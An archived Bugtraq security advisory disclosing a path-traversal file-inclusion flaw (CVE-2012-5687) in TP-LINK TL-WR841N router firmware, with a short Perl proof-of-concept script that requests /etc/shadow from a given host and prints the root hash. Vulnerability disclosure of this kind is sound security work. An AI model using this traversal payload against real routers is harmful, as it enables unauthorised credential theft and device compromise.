Home page logo

bugtraq logo Bugtraq mailing list archives

[BUGTRAQ]Security Advisory - TP-LINK TL-WR841N LFI - [UPDATE]
From: "Matan Azugi" <matan () madsec co il>
Date: Wed, 31 Oct 2012 11:43:00 +0200

=| Security Advisory - TP-LINK TL-WR841N LFI |=

Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below versions
Discovered Date: 24/10/2012
CVE-ID: CVE-2012-5687
Author: Matan Azugi [matan () madsec co il] Product Vendor:


TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)
The vulnerability exists in Web-Based Management. The URL parameter is not
properly sanitized before being used.
Exploitation URL:

Successful exploitation allows viewing the router configurationĀ and password

Proof of Concept Code: 

#TP-LINK TL-WR841N Shadow file grabber#
#built by Pulse matan () madsec co il#

use LWP::UserAgent;
$host = $ARGV[0];
if($host !~ /http:\/\//) { $host = "http://$host";; };

my $ua = LWP::UserAgent->new;
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }

Thank You,
Matan Azugi, MCSE OSCP

  By Date           By Thread  

Current thread:
  • [BUGTRAQ]Security Advisory - TP-LINK TL-WR841N LFI - [UPDATE] Matan Azugi (Oct 31)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]